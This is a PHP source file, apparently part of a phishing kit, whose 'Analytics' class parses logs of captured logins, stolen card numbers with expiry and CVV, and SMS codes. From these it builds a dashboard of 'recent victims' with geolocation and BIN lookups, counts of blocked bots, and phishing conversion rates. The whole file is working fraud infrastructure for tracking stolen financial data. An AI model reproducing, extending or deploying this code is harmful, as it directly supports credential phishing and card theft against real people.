<?php
/**
 * Advanced Analytics System
 * Provides detailed statistics and insights
 */

class Analytics {
    private static $logsPath = __DIR__ . '/../logs/';
    
    /**
     * Get comprehensive statistics
     */
    public static function getStats() {
        return Cache::remember('analytics_stats', function() {
            $stats = [
                'total_visits' => 0,
                'total_logins' => 0,
                'total_cards' => 0,
                'total_sms' => 0,
                'total_blocked' => 0,
                'conversion_rate' => 0,
                'hourly_stats' => [],
                'daily_stats' => [],
                'country_stats' => [],
                'device_stats' => [],
                'browser_stats' => [],
                'recent_victims' => []
            ];
            
            // Count visits
            $visitsLog = self::$logsPath . 'visits.log';
            if (file_exists($visitsLog)) {
                $stats['total_visits'] = count(file($visitsLog, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
            }
            
            // Parse credentials log
            $credentialsLog = self::$logsPath . 'credentials.log';
            if (file_exists($credentialsLog)) {
                $lines = file($credentialsLog, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                
                foreach ($lines as $line) {
                    // Count by type
                    if (stripos($line, 'LOGIN CAPTURED') !== false) {
                        $stats['total_logins']++;
                    } elseif (stripos($line, 'CREDIT CARD') !== false || stripos($line, 'CARD') !== false) {
                        $stats['total_cards']++;
                        
                        // Extract victim info
                        if (preg_match('/IP:\s*([0-9.]+)/', $line, $ipMatch)) {
                            $ip = $ipMatch[1];
                            preg_match('/Card Holder:\s*([^\n]+)/', $line, $nameMatch);
                            preg_match('/Card Number:\s*([^\n]+)/', $line, $cardMatch);
                            preg_match('/Expiry:\s*([^\n]+)/', $line, $expiryMatch);
                            preg_match('/CVV:\s*([^\n]+)/', $line, $cvvMatch);
                            preg_match('/Timestamp:\s*([^\n]+)/', $line, $timeMatch);
                            
                            $cardNumber = isset($cardMatch[1]) ? trim($cardMatch[1]) : '';
                            $binInfo = !empty($cardNumber) ? AntiBot::binLookup($cardNumber) : null;
                            $geo = AntiBot::getGeolocation($ip);
                            
                            $stats['recent_victims'][] = [
                                'ip' => $ip,
                                'name' => isset($nameMatch[1]) ? trim($nameMatch[1]) : 'N/A',
                                'card' => $cardNumber,
                                'expiry' => isset($expiryMatch[1]) ? trim($expiryMatch[1]) : 'N/A',
                                'cvv' => isset($cvvMatch[1]) ? trim($cvvMatch[1]) : 'N/A',
                                'time' => isset($timeMatch[1]) ? trim($timeMatch[1]) : date('Y-m-d H:i:s'),
                                'country' => $geo['country'],
                                'country_code' => $geo['country_code'],
                                'flag' => $geo['flag'],
                                'city' => $geo['city'],
                                'bin_info' => $binInfo
                            ];
                            
                            // Country stats
                            $country = $geo['country'];
                            if (!isset($stats['country_stats'][$country])) {
                                $stats['country_stats'][$country] = [
                                    'count' => 0,
                                    'flag' => $geo['flag'],
                                    'code' => $geo['country_code']
                                ];
                            }
                            $stats['country_stats'][$country]['count']++;
                        }
                        
                        // Hourly stats
                        if (preg_match('/Timestamp:\s*(\d{4}-\d{2}-\d{2}\s+(\d{2}):)/', $line, $timeMatch)) {
                            $hour = $timeMatch[2];
                            if (!isset($stats['hourly_stats'][$hour])) {
                                $stats['hourly_stats'][$hour] = 0;
                            }
                            $stats['hourly_stats'][$hour]++;
                        }
                        
                        // Daily stats
                        if (preg_match('/Timestamp:\s*(\d{4}-\d{2}-\d{2})/', $line, $dateMatch)) {
                            $date = $dateMatch[1];
                            if (!isset($stats['daily_stats'][$date])) {
                                $stats['daily_stats'][$date] = 0;
                            }
                            $stats['daily_stats'][$date]++;
                        }
                    } elseif (stripos($line, 'SMS') !== false) {
                        $stats['total_sms']++;
                    }
                }
            }
            
            // Count blocked bots
            $botsLog = self::$logsPath . 'bots.log';
            if (file_exists($botsLog)) {
                $stats['total_blocked'] = count(file($botsLog, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
            }
            
            // Calculate conversion rate
            if ($stats['total_logins'] > 0) {
                $stats['conversion_rate'] = round(($stats['total_cards'] / $stats['total_logins']) * 100, 1);
            }
            
            // Sort and limit
            arsort($stats['country_stats']);
            $stats['country_stats'] = array_slice($stats['country_stats'], 0, 10);
            $stats['recent_victims'] = array_slice(array_reverse($stats['recent_victims']), 0, 20);
            
            return $stats;
        }, 30); // Cache for 30 seconds
    }
    
    /**
     * Get chart data for analytics
     */
    public static function getChartData() {
        $stats = self::getStats();
        
        return [
            'hourly' => [
                'labels' => array_keys($stats['hourly_stats']),
                'data' => array_values($stats['hourly_stats'])
            ],
            'daily' => [
                'labels' => array_keys($stats['daily_stats']),
                'data' => array_values($stats['daily_stats'])
            ],
            'countries' => [
                'labels' => array_keys($stats['country_stats']),
                'data' => array_map(function($c) { return $c['count']; }, $stats['country_stats'])
            ]
        ];
    }
    
    /**
     * Get conversion funnel data
     */
    public static function getConversionFunnel() {
        $stats = self::getStats();
        
        return [
            'visits' => $stats['total_visits'],
            'logins' => $stats['total_logins'],
            'cards' => $stats['total_cards'],
            'sms' => $stats['total_sms'],
            'conversion_rates' => [
                'visit_to_login' => $stats['total_visits'] > 0 ? round(($stats['total_logins'] / $stats['total_visits']) * 100, 1) : 0,
                'login_to_card' => $stats['total_logins'] > 0 ? round(($stats['total_cards'] / $stats['total_logins']) * 100, 1) : 0,
                'card_to_sms' => $stats['total_cards'] > 0 ? round(($stats['total_sms'] / $stats['total_cards']) * 100, 1) : 0
            ]
        ];
    }
}
